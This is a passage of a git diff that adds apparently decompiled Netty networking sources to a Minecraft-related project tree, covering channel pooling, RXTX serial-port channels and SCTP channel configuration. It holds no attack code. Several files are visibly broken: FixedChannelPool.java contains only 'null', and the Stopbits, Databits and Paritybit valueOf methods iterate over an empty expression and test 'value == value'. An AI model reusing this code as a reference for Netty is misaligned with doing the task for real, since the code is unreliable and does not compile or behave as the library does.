+  extends Closeable
+{
+  public abstract Future<Channel> acquire();
+  
+  public abstract Future<Channel> acquire(Promise<Channel> paramPromise);
+  
+  public abstract Future<Void> release(Channel paramChannel);
+  
+  public abstract Future<Void> release(Channel paramChannel, Promise<Void> paramPromise);
+  
+  public abstract void close();
+}
diff --git a/src/minecraft/io/netty/channel/pool/ChannelPoolHandler.java b/src/minecraft/io/netty/channel/pool/ChannelPoolHandler.java
new file mode 100644
index 0000000..f46328f
--- /dev/null
+++ b/src/minecraft/io/netty/channel/pool/ChannelPoolHandler.java
@@ -0,0 +1,15 @@
+package io.netty.channel.pool;
+
+import io.netty.channel.Channel;
+
+public abstract interface ChannelPoolHandler
+{
+  public abstract void channelReleased(Channel paramChannel)
+    throws Exception;
+  
+  public abstract void channelAcquired(Channel paramChannel)
+    throws Exception;
+  
+  public abstract void channelCreated(Channel paramChannel)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/channel/pool/ChannelPoolMap.java b/src/minecraft/io/netty/channel/pool/ChannelPoolMap.java
new file mode 100644
index 0000000..d25c756
--- /dev/null
+++ b/src/minecraft/io/netty/channel/pool/ChannelPoolMap.java
@@ -0,0 +1,8 @@
+package io.netty.channel.pool;
+
+public abstract interface ChannelPoolMap<K, P extends ChannelPool>
+{
+  public abstract P get(K paramK);
+  
+  public abstract boolean contains(K paramK);
+}
diff --git a/src/minecraft/io/netty/channel/pool/FixedChannelPool.java b/src/minecraft/io/netty/channel/pool/FixedChannelPool.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/io/netty/channel/pool/FixedChannelPool.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/io/netty/channel/pool/SimpleChannelPool.java b/src/minecraft/io/netty/channel/pool/SimpleChannelPool.java
new file mode 100644
index 0000000..a8f6e60
--- /dev/null
+++ b/src/minecraft/io/netty/channel/pool/SimpleChannelPool.java
@@ -0,0 +1,348 @@
+package io.netty.channel.pool;
+
+import io.netty.bootstrap.Bootstrap;
+import io.netty.bootstrap.BootstrapConfig;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelInitializer;
+import io.netty.channel.EventLoop;
+import io.netty.channel.EventLoopGroup;
+import io.netty.util.Attribute;
+import io.netty.util.AttributeKey;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.FutureListener;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.ThrowableUtil;
+import java.util.Deque;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SimpleChannelPool
+  implements ChannelPool
+{
+  private static final AttributeKey<SimpleChannelPool> POOL_KEY = AttributeKey.newInstance("channelPool");
+  private static final IllegalStateException FULL_EXCEPTION = (IllegalStateException)ThrowableUtil.unknownStackTrace(new IllegalStateException("ChannelPool full"), SimpleChannelPool.class, "releaseAndOffer(...)");
+  
+  private static final IllegalStateException UNHEALTHY_NON_OFFERED_TO_POOL = (IllegalStateException)ThrowableUtil.unknownStackTrace(new IllegalStateException("Channel is unhealthy not offering it back to pool"), SimpleChannelPool.class, "releaseAndOffer(...)");
+  
+
+
+  private final Deque<Channel> deque = PlatformDependent.newConcurrentDeque();
+  
+  private final ChannelPoolHandler handler;
+  
+  private final ChannelHealthChecker healthCheck;
+  
+  private final Bootstrap bootstrap;
+  
+  private final boolean releaseHealthCheck;
+  
+
+  public SimpleChannelPool(Bootstrap bootstrap, ChannelPoolHandler handler)
+  {
+    this(bootstrap, handler, ChannelHealthChecker.ACTIVE);
+  }
+  
+
+
+
+
+
+
+
+  public SimpleChannelPool(Bootstrap bootstrap, ChannelPoolHandler handler, ChannelHealthChecker healthCheck)
+  {
+    this(bootstrap, handler, healthCheck, true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public SimpleChannelPool(Bootstrap bootstrap, final ChannelPoolHandler handler, ChannelHealthChecker healthCheck, boolean releaseHealthCheck)
+  {
+    this.handler = ((ChannelPoolHandler)ObjectUtil.checkNotNull(handler, "handler"));
+    this.healthCheck = ((ChannelHealthChecker)ObjectUtil.checkNotNull(healthCheck, "healthCheck"));
+    this.releaseHealthCheck = releaseHealthCheck;
+    
+    this.bootstrap = ((Bootstrap)ObjectUtil.checkNotNull(bootstrap, "bootstrap")).clone();
+    this.bootstrap.handler(new ChannelInitializer()
+    {
+      protected void initChannel(Channel ch) throws Exception {
+        assert (ch.eventLoop().inEventLoop());
+        handler.channelCreated(ch);
+      }
+    });
+  }
+  
+  public final Future<Channel> acquire()
+  {
+    return acquire(bootstrap.config().group().next().newPromise());
+  }
+  
+  public Future<Channel> acquire(Promise<Channel> promise)
+  {
+    ObjectUtil.checkNotNull(promise, "promise");
+    return acquireHealthyFromPoolOrNew(promise);
+  }
+  
+
+
+
+  private Future<Channel> acquireHealthyFromPoolOrNew(final Promise<Channel> promise)
+  {
+    try
+    {
+      final Channel ch = pollChannel();
+      if (ch == null)
+      {
+        Bootstrap bs = bootstrap.clone();
+        bs.attr(POOL_KEY, this);
+        ChannelFuture f = connectChannel(bs);
+        if (f.isDone()) {
+          notifyConnect(f, promise);
+        } else {
+          f.addListener(new ChannelFutureListener()
+          {
+            public void operationComplete(ChannelFuture future) throws Exception {
+              SimpleChannelPool.this.notifyConnect(future, promise);
+            }
+          });
+        }
+        return promise;
+      }
+      EventLoop loop = ch.eventLoop();
+      if (loop.inEventLoop()) {
+        doHealthCheck(ch, promise);
+      } else {
+        loop.execute(new Runnable()
+        {
+          public void run() {
+            SimpleChannelPool.this.doHealthCheck(ch, promise);
+          }
+        });
+      }
+    } catch (Throwable cause) {
+      promise.tryFailure(cause);
+    }
+    return promise;
+  }
+  
+  private void notifyConnect(ChannelFuture future, Promise<Channel> promise) {
+    if (future.isSuccess()) {
+      Channel channel = future.channel();
+      if (!promise.trySuccess(channel))
+      {
+        release(channel);
+      }
+    } else {
+      promise.tryFailure(future.cause());
+    }
+  }
+  
+  private void doHealthCheck(final Channel ch, final Promise<Channel> promise) {
+    assert (ch.eventLoop().inEventLoop());
+    
+    Future<Boolean> f = healthCheck.isHealthy(ch);
+    if (f.isDone()) {
+      notifyHealthCheck(f, ch, promise);
+    } else {
+      f.addListener(new FutureListener()
+      {
+        public void operationComplete(Future<Boolean> future) throws Exception {
+          SimpleChannelPool.this.notifyHealthCheck(future, ch, promise);
+        }
+      });
+    }
+  }
+  
+  private void notifyHealthCheck(Future<Boolean> future, Channel ch, Promise<Channel> promise) {
+    assert (ch.eventLoop().inEventLoop());
+    
+    if (future.isSuccess()) {
+      if (((Boolean)future.getNow()).booleanValue()) {
+        try {
+          ch.attr(POOL_KEY).set(this);
+          handler.channelAcquired(ch);
+          promise.setSuccess(ch);
+        } catch (Throwable cause) {
+          closeAndFail(ch, cause, promise);
+        }
+      } else {
+        closeChannel(ch);
+        acquireHealthyFromPoolOrNew(promise);
+      }
+    } else {
+      closeChannel(ch);
+      acquireHealthyFromPoolOrNew(promise);
+    }
+  }
+  
+
+
+
+
+
+  protected ChannelFuture connectChannel(Bootstrap bs)
+  {
+    return bs.connect();
+  }
+  
+  public final Future<Void> release(Channel channel)
+  {
+    return release(channel, channel.eventLoop().newPromise());
+  }
+  
+  public Future<Void> release(final Channel channel, final Promise<Void> promise)
+  {
+    ObjectUtil.checkNotNull(channel, "channel");
+    ObjectUtil.checkNotNull(promise, "promise");
+    try {
+      EventLoop loop = channel.eventLoop();
+      if (loop.inEventLoop()) {
+        doReleaseChannel(channel, promise);
+      } else {
+        loop.execute(new Runnable()
+        {
+          public void run() {
+            SimpleChannelPool.this.doReleaseChannel(channel, promise);
+          }
+        });
+      }
+    } catch (Throwable cause) {
+      closeAndFail(channel, cause, promise);
+    }
+    return promise;
+  }
+  
+  private void doReleaseChannel(Channel channel, Promise<Void> promise) {
+    assert (channel.eventLoop().inEventLoop());
+    
+    if (channel.attr(POOL_KEY).getAndSet(null) != this) {
+      closeAndFail(channel, new IllegalArgumentException("Channel " + channel + " was not acquired from this ChannelPool"), promise);
+    }
+    else
+    {
+      try
+      {
+
+        if (releaseHealthCheck) {
+          doHealthCheckOnRelease(channel, promise);
+        } else {
+          releaseAndOffer(channel, promise);
+        }
+      } catch (Throwable cause) {
+        closeAndFail(channel, cause, promise);
+      }
+    }
+  }
+  
+  private void doHealthCheckOnRelease(final Channel channel, final Promise<Void> promise) throws Exception {
+    final Future<Boolean> f = healthCheck.isHealthy(channel);
+    if (f.isDone()) {
+      releaseAndOfferIfHealthy(channel, promise, f);
+    } else {
+      f.addListener(new FutureListener()
+      {
+        public void operationComplete(Future<Boolean> future) throws Exception {
+          SimpleChannelPool.this.releaseAndOfferIfHealthy(channel, promise, f);
+        }
+      });
+    }
+  }
+  
+
+
+
+
+
+
+  private void releaseAndOfferIfHealthy(Channel channel, Promise<Void> promise, Future<Boolean> future)
+    throws Exception
+  {
+    if (((Boolean)future.getNow()).booleanValue()) {
+      releaseAndOffer(channel, promise);
+    } else {
+      handler.channelReleased(channel);
+      closeAndFail(channel, UNHEALTHY_NON_OFFERED_TO_POOL, promise);
+    }
+  }
+  
+  private void releaseAndOffer(Channel channel, Promise<Void> promise) throws Exception {
+    if (offerChannel(channel)) {
+      handler.channelReleased(channel);
+      promise.setSuccess(null);
+    } else {
+      closeAndFail(channel, FULL_EXCEPTION, promise);
+    }
+  }
+  
+  private static void closeChannel(Channel channel) {
+    channel.attr(POOL_KEY).getAndSet(null);
+    channel.close();
+  }
+  
+  private static void closeAndFail(Channel channel, Throwable cause, Promise<?> promise) {
+    closeChannel(channel);
+    promise.tryFailure(cause);
+  }
+  
+
+
+
+
+
+
+  protected Channel pollChannel()
+  {
+    return (Channel)deque.pollLast();
+  }
+  
+
+
+
+
+
+
+  protected boolean offerChannel(Channel channel)
+  {
+    return deque.offer(channel);
+  }
+  
+  public void close()
+  {
+    for (;;) {
+      Channel channel = pollChannel();
+      if (channel == null) {
+        break;
+      }
+      channel.close();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/rxtx/DefaultRxtxChannelConfig.java b/src/minecraft/io/netty/channel/rxtx/DefaultRxtxChannelConfig.java
new file mode 100644
index 0000000..68d12b5
--- /dev/null
+++ b/src/minecraft/io/netty/channel/rxtx/DefaultRxtxChannelConfig.java
@@ -0,0 +1,260 @@
+package io.netty.channel.rxtx;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DefaultRxtxChannelConfig
+  extends DefaultChannelConfig
+  implements RxtxChannelConfig
+{
+  private volatile int baudrate = 115200;
+  private volatile boolean dtr;
+  private volatile boolean rts;
+  private volatile RxtxChannelConfig.Stopbits stopbits = RxtxChannelConfig.Stopbits.STOPBITS_1;
+  private volatile RxtxChannelConfig.Databits databits = RxtxChannelConfig.Databits.DATABITS_8;
+  private volatile RxtxChannelConfig.Paritybit paritybit = RxtxChannelConfig.Paritybit.NONE;
+  private volatile int waitTime;
+  private volatile int readTimeout = 1000;
+  
+  DefaultRxtxChannelConfig(RxtxChannel channel) {
+    super(channel);
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { RxtxChannelOption.BAUD_RATE, RxtxChannelOption.DTR, RxtxChannelOption.RTS, RxtxChannelOption.STOP_BITS, RxtxChannelOption.DATA_BITS, RxtxChannelOption.PARITY_BIT, RxtxChannelOption.WAIT_TIME });
+  }
+  
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == RxtxChannelOption.BAUD_RATE) {
+      return Integer.valueOf(getBaudrate());
+    }
+    if (option == RxtxChannelOption.DTR) {
+      return Boolean.valueOf(isDtr());
+    }
+    if (option == RxtxChannelOption.RTS) {
+      return Boolean.valueOf(isRts());
+    }
+    if (option == RxtxChannelOption.STOP_BITS) {
+      return getStopbits();
+    }
+    if (option == RxtxChannelOption.DATA_BITS) {
+      return getDatabits();
+    }
+    if (option == RxtxChannelOption.PARITY_BIT) {
+      return getParitybit();
+    }
+    if (option == RxtxChannelOption.WAIT_TIME) {
+      return Integer.valueOf(getWaitTimeMillis());
+    }
+    if (option == RxtxChannelOption.READ_TIMEOUT) {
+      return Integer.valueOf(getReadTimeout());
+    }
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == RxtxChannelOption.BAUD_RATE) {
+      setBaudrate(((Integer)value).intValue());
+    } else if (option == RxtxChannelOption.DTR) {
+      setDtr(((Boolean)value).booleanValue());
+    } else if (option == RxtxChannelOption.RTS) {
+      setRts(((Boolean)value).booleanValue());
+    } else if (option == RxtxChannelOption.STOP_BITS) {
+      setStopbits((RxtxChannelConfig.Stopbits)value);
+    } else if (option == RxtxChannelOption.DATA_BITS) {
+      setDatabits((RxtxChannelConfig.Databits)value);
+    } else if (option == RxtxChannelOption.PARITY_BIT) {
+      setParitybit((RxtxChannelConfig.Paritybit)value);
+    } else if (option == RxtxChannelOption.WAIT_TIME) {
+      setWaitTimeMillis(((Integer)value).intValue());
+    } else if (option == RxtxChannelOption.READ_TIMEOUT) {
+      setReadTimeout(((Integer)value).intValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    return true;
+  }
+  
+  public RxtxChannelConfig setBaudrate(int baudrate)
+  {
+    this.baudrate = baudrate;
+    return this;
+  }
+  
+  public RxtxChannelConfig setStopbits(RxtxChannelConfig.Stopbits stopbits)
+  {
+    this.stopbits = stopbits;
+    return this;
+  }
+  
+  public RxtxChannelConfig setDatabits(RxtxChannelConfig.Databits databits)
+  {
+    this.databits = databits;
+    return this;
+  }
+  
+  public RxtxChannelConfig setParitybit(RxtxChannelConfig.Paritybit paritybit)
+  {
+    this.paritybit = paritybit;
+    return this;
+  }
+  
+  public int getBaudrate()
+  {
+    return baudrate;
+  }
+  
+  public RxtxChannelConfig.Stopbits getStopbits()
+  {
+    return stopbits;
+  }
+  
+  public RxtxChannelConfig.Databits getDatabits()
+  {
+    return databits;
+  }
+  
+  public RxtxChannelConfig.Paritybit getParitybit()
+  {
+    return paritybit;
+  }
+  
+  public boolean isDtr()
+  {
+    return dtr;
+  }
+  
+  public RxtxChannelConfig setDtr(boolean dtr)
+  {
+    this.dtr = dtr;
+    return this;
+  }
+  
+  public boolean isRts()
+  {
+    return rts;
+  }
+  
+  public RxtxChannelConfig setRts(boolean rts)
+  {
+    this.rts = rts;
+    return this;
+  }
+  
+  public int getWaitTimeMillis()
+  {
+    return waitTime;
+  }
+  
+  public RxtxChannelConfig setWaitTimeMillis(int waitTimeMillis)
+  {
+    if (waitTimeMillis < 0) {
+      throw new IllegalArgumentException("Wait time must be >= 0");
+    }
+    waitTime = waitTimeMillis;
+    return this;
+  }
+  
+  public RxtxChannelConfig setReadTimeout(int readTimeout)
+  {
+    if (readTimeout < 0) {
+      throw new IllegalArgumentException("readTime must be >= 0");
+    }
+    this.readTimeout = readTimeout;
+    return this;
+  }
+  
+  public int getReadTimeout()
+  {
+    return readTimeout;
+  }
+  
+  public RxtxChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public RxtxChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public RxtxChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public RxtxChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public RxtxChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public RxtxChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public RxtxChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public RxtxChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public RxtxChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public RxtxChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/rxtx/RxtxChannel.java b/src/minecraft/io/netty/channel/rxtx/RxtxChannel.java
new file mode 100644
index 0000000..24923d7
--- /dev/null
+++ b/src/minecraft/io/netty/channel/rxtx/RxtxChannel.java
@@ -0,0 +1,174 @@
+package io.netty.channel.rxtx;
+
+import gnu.io.CommPort;
+import gnu.io.CommPortIdentifier;
+import gnu.io.SerialPort;
+import io.netty.channel.AbstractChannel;
+import io.netty.channel.AbstractChannel.AbstractUnsafe;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.channel.oio.OioByteStreamChannel;
+import java.net.SocketAddress;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RxtxChannel
+  extends OioByteStreamChannel
+{
+  private static final RxtxDeviceAddress LOCAL_ADDRESS = new RxtxDeviceAddress("localhost");
+  
+  private final RxtxChannelConfig config;
+  
+  private boolean open = true;
+  private RxtxDeviceAddress deviceAddress;
+  private SerialPort serialPort;
+  
+  public RxtxChannel() {
+    super(null);
+    
+    config = new DefaultRxtxChannelConfig(this);
+  }
+  
+  public RxtxChannelConfig config()
+  {
+    return config;
+  }
+  
+  public boolean isOpen()
+  {
+    return open;
+  }
+  
+  protected AbstractChannel.AbstractUnsafe newUnsafe()
+  {
+    return new RxtxUnsafe(null);
+  }
+  
+  protected void doConnect(SocketAddress remoteAddress, SocketAddress localAddress) throws Exception
+  {
+    RxtxDeviceAddress remote = (RxtxDeviceAddress)remoteAddress;
+    CommPortIdentifier cpi = CommPortIdentifier.getPortIdentifier(remote.value());
+    CommPort commPort = cpi.open(getClass().getName(), 1000);
+    commPort.enableReceiveTimeout(((Integer)config().getOption(RxtxChannelOption.READ_TIMEOUT)).intValue());
+    deviceAddress = remote;
+    
+    serialPort = ((SerialPort)commPort);
+  }
+  
+  protected void doInit() throws Exception {
+    serialPort.setSerialPortParams(((Integer)config().getOption(RxtxChannelOption.BAUD_RATE)).intValue(), ((RxtxChannelConfig.Databits)config().getOption(RxtxChannelOption.DATA_BITS)).value(), ((RxtxChannelConfig.Stopbits)config().getOption(RxtxChannelOption.STOP_BITS)).value(), ((RxtxChannelConfig.Paritybit)config().getOption(RxtxChannelOption.PARITY_BIT)).value());
+    
+
+
+
+
+    serialPort.setDTR(((Boolean)config().getOption(RxtxChannelOption.DTR)).booleanValue());
+    serialPort.setRTS(((Boolean)config().getOption(RxtxChannelOption.RTS)).booleanValue());
+    
+    activate(serialPort.getInputStream(), serialPort.getOutputStream());
+  }
+  
+  public RxtxDeviceAddress localAddress()
+  {
+    return (RxtxDeviceAddress)super.localAddress();
+  }
+  
+  public RxtxDeviceAddress remoteAddress()
+  {
+    return (RxtxDeviceAddress)super.remoteAddress();
+  }
+  
+  protected RxtxDeviceAddress localAddress0()
+  {
+    return LOCAL_ADDRESS;
+  }
+  
+  protected RxtxDeviceAddress remoteAddress0()
+  {
+    return deviceAddress;
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    doClose();
+  }
+  
+  protected void doClose() throws Exception
+  {
+    open = false;
+    try {
+      super.doClose();
+    } finally {
+      if (serialPort != null) {
+        serialPort.removeEventListener();
+        serialPort.close();
+        serialPort = null;
+      }
+    }
+  }
+  
+  private final class RxtxUnsafe extends AbstractChannel.AbstractUnsafe { private RxtxUnsafe() { super(); }
+    
+
+    public void connect(SocketAddress remoteAddress, SocketAddress localAddress, final ChannelPromise promise)
+    {
+      if ((!promise.setUncancellable()) || (!ensureOpen(promise))) {
+        return;
+      }
+      try
+      {
+        final boolean wasActive = isActive();
+        doConnect(remoteAddress, localAddress);
+        
+        int waitTime = ((Integer)config().getOption(RxtxChannelOption.WAIT_TIME)).intValue();
+        if (waitTime > 0) {
+          eventLoop().schedule(new Runnable()
+          {
+            public void run() {
+              try {
+                doInit();
+                safeSetSuccess(promise);
+                if ((!wasActive) && (isActive())) {
+                  pipeline().fireChannelActive();
+                }
+              } catch (Throwable t) {
+                safeSetFailure(promise, t);
+                closeIfClosed(); } } }, waitTime, TimeUnit.MILLISECONDS);
+
+        }
+        else
+        {
+          doInit();
+          safeSetSuccess(promise);
+          if ((!wasActive) && (isActive())) {
+            pipeline().fireChannelActive();
+          }
+        }
+      } catch (Throwable t) {
+        safeSetFailure(promise, t);
+        closeIfClosed();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/rxtx/RxtxChannelConfig.java b/src/minecraft/io/netty/channel/rxtx/RxtxChannelConfig.java
new file mode 100644
index 0000000..b4df234
--- /dev/null
+++ b/src/minecraft/io/netty/channel/rxtx/RxtxChannelConfig.java
@@ -0,0 +1,168 @@
+package io.netty.channel.rxtx;
+
+import io.netty.buffer.ByteBufAllocator;
+
+public abstract interface RxtxChannelConfig extends io.netty.channel.ChannelConfig { public abstract RxtxChannelConfig setBaudrate(int paramInt);
+  
+  public abstract RxtxChannelConfig setStopbits(Stopbits paramStopbits);
+  
+  public abstract RxtxChannelConfig setDatabits(Databits paramDatabits);
+  
+  public abstract RxtxChannelConfig setParitybit(Paritybit paramParitybit);
+  
+  public abstract int getBaudrate();
+  
+  public abstract Stopbits getStopbits();
+  
+  public abstract Databits getDatabits();
+  
+  public abstract Paritybit getParitybit();
+  
+  public abstract boolean isDtr();
+  
+  public abstract RxtxChannelConfig setDtr(boolean paramBoolean);
+  
+  public abstract boolean isRts();
+  
+  public abstract RxtxChannelConfig setRts(boolean paramBoolean);
+  
+  public abstract int getWaitTimeMillis();
+  
+  public abstract RxtxChannelConfig setWaitTimeMillis(int paramInt);
+  
+  public abstract RxtxChannelConfig setReadTimeout(int paramInt);
+  
+  public abstract int getReadTimeout();
+  
+  public abstract RxtxChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract RxtxChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract RxtxChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract RxtxChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract RxtxChannelConfig setRecvByteBufAllocator(io.netty.channel.RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract RxtxChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract RxtxChannelConfig setAutoClose(boolean paramBoolean);
+  
+  public abstract RxtxChannelConfig setWriteBufferHighWaterMark(int paramInt);
+  
+  public abstract RxtxChannelConfig setWriteBufferLowWaterMark(int paramInt);
+  
+  public abstract RxtxChannelConfig setMessageSizeEstimator(io.netty.channel.MessageSizeEstimator paramMessageSizeEstimator);
+  
+  public static enum Stopbits { STOPBITS_1(1), 
+    
+
+
+    STOPBITS_2(2), 
+    
+
+
+    STOPBITS_1_5(3);
+    
+    private final int value;
+    
+    private Stopbits(int value) {
+      this.value = value;
+    }
+    
+    public int value() {
+      return value;
+    }
+    
+    public static Stopbits valueOf(int value) {
+      for (Stopbits stopbit : ) {
+        if (value == value) {
+          return stopbit;
+        }
+      }
+      throw new IllegalArgumentException("unknown " + Stopbits.class.getSimpleName() + " value: " + value);
+    }
+  }
+  
+
+
+  public static enum Databits
+  {
+    DATABITS_5(5), 
+    
+
+
+    DATABITS_6(6), 
+    
+
+
+    DATABITS_7(7), 
+    
+
+
+    DATABITS_8(8);
+    
+    private final int value;
+    
+    private Databits(int value) {
+      this.value = value;
+    }
+    
+    public int value() {
+      return value;
+    }
+    
+    public static Databits valueOf(int value) {
+      for (Databits databit : ) {
+        if (value == value) {
+          return databit;
+        }
+      }
+      throw new IllegalArgumentException("unknown " + Databits.class.getSimpleName() + " value: " + value);
+    }
+  }
+  
+
+
+  public static enum Paritybit
+  {
+    NONE(0), 
+    
+
+
+
+    ODD(1), 
+    
+
+
+
+    EVEN(2), 
+    
+
+
+    MARK(3), 
+    
+
+
+    SPACE(4);
+    
+    private final int value;
+    
+    private Paritybit(int value) {
+      this.value = value;
+    }
+    
+    public int value() {
+      return value;
+    }
+    
+    public static Paritybit valueOf(int value) {
+      for (Paritybit paritybit : ) {
+        if (value == value) {
+          return paritybit;
+        }
+      }
+      throw new IllegalArgumentException("unknown " + Paritybit.class.getSimpleName() + " value: " + value);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/rxtx/RxtxChannelOption.java b/src/minecraft/io/netty/channel/rxtx/RxtxChannelOption.java
new file mode 100644
index 0000000..0f291dc
--- /dev/null
+++ b/src/minecraft/io/netty/channel/rxtx/RxtxChannelOption.java
@@ -0,0 +1,55 @@
+package io.netty.channel.rxtx;
+
+import io.netty.channel.ChannelOption;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RxtxChannelOption<T>
+  extends ChannelOption<T>
+{
+  public static final RxtxChannelOption<Integer> BAUD_RATE = new RxtxChannelOption("BAUD_RATE");
+  
+
+  public static final RxtxChannelOption<Boolean> DTR = new RxtxChannelOption("DTR");
+  
+
+  public static final RxtxChannelOption<Boolean> RTS = new RxtxChannelOption("RTS");
+  
+
+  public static final RxtxChannelOption<RxtxChannelConfig.Stopbits> STOP_BITS = new RxtxChannelOption("STOP_BITS");
+  
+
+  public static final RxtxChannelOption<RxtxChannelConfig.Databits> DATA_BITS = new RxtxChannelOption("DATA_BITS");
+  
+
+  public static final RxtxChannelOption<RxtxChannelConfig.Paritybit> PARITY_BIT = new RxtxChannelOption("PARITY_BIT");
+  
+
+  public static final RxtxChannelOption<Integer> WAIT_TIME = new RxtxChannelOption("WAIT_TIME");
+  
+
+  public static final RxtxChannelOption<Integer> READ_TIMEOUT = new RxtxChannelOption("READ_TIMEOUT");
+  
+
+  private RxtxChannelOption(String name)
+  {
+    super(name);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/rxtx/RxtxDeviceAddress.java b/src/minecraft/io/netty/channel/rxtx/RxtxDeviceAddress.java
new file mode 100644
index 0000000..3ccef6c
--- /dev/null
+++ b/src/minecraft/io/netty/channel/rxtx/RxtxDeviceAddress.java
@@ -0,0 +1,45 @@
+package io.netty.channel.rxtx;
+
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RxtxDeviceAddress
+  extends SocketAddress
+{
+  private static final long serialVersionUID = -2907820090993709523L;
+  private final String value;
+  
+  public RxtxDeviceAddress(String value)
+  {
+    this.value = value;
+  }
+  
+
+
+  public String value()
+  {
+    return value;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/sctp/DefaultSctpChannelConfig.java b/src/minecraft/io/netty/channel/sctp/DefaultSctpChannelConfig.java
new file mode 100644
index 0000000..7e15505
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/DefaultSctpChannelConfig.java
@@ -0,0 +1,234 @@
+package io.netty.channel.sctp;
+
+import com.sun.nio.sctp.SctpStandardSocketOptions;
+import com.sun.nio.sctp.SctpStandardSocketOptions.InitMaxStreams;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.util.internal.PlatformDependent;
+import java.io.IOException;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSctpChannelConfig
+  extends DefaultChannelConfig
+  implements SctpChannelConfig
+{
+  private final com.sun.nio.sctp.SctpChannel javaChannel;
+  
+  public DefaultSctpChannelConfig(SctpChannel channel, com.sun.nio.sctp.SctpChannel javaChannel)
+  {
+    super(channel);
+    if (javaChannel == null) {
+      throw new NullPointerException("javaChannel");
+    }
+    this.javaChannel = javaChannel;
+    
+
+    if (PlatformDependent.canEnableTcpNoDelayByDefault()) {
+      try {
+        setSctpNoDelay(true);
+      }
+      catch (Exception e) {}
+    }
+  }
+  
+
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { SctpChannelOption.SO_RCVBUF, SctpChannelOption.SO_SNDBUF, SctpChannelOption.SCTP_NODELAY, SctpChannelOption.SCTP_INIT_MAXSTREAMS });
+  }
+  
+
+
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == SctpChannelOption.SO_RCVBUF) {
+      return Integer.valueOf(getReceiveBufferSize());
+    }
+    if (option == SctpChannelOption.SO_SNDBUF) {
+      return Integer.valueOf(getSendBufferSize());
+    }
+    if (option == SctpChannelOption.SCTP_NODELAY) {
+      return Boolean.valueOf(isSctpNoDelay());
+    }
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
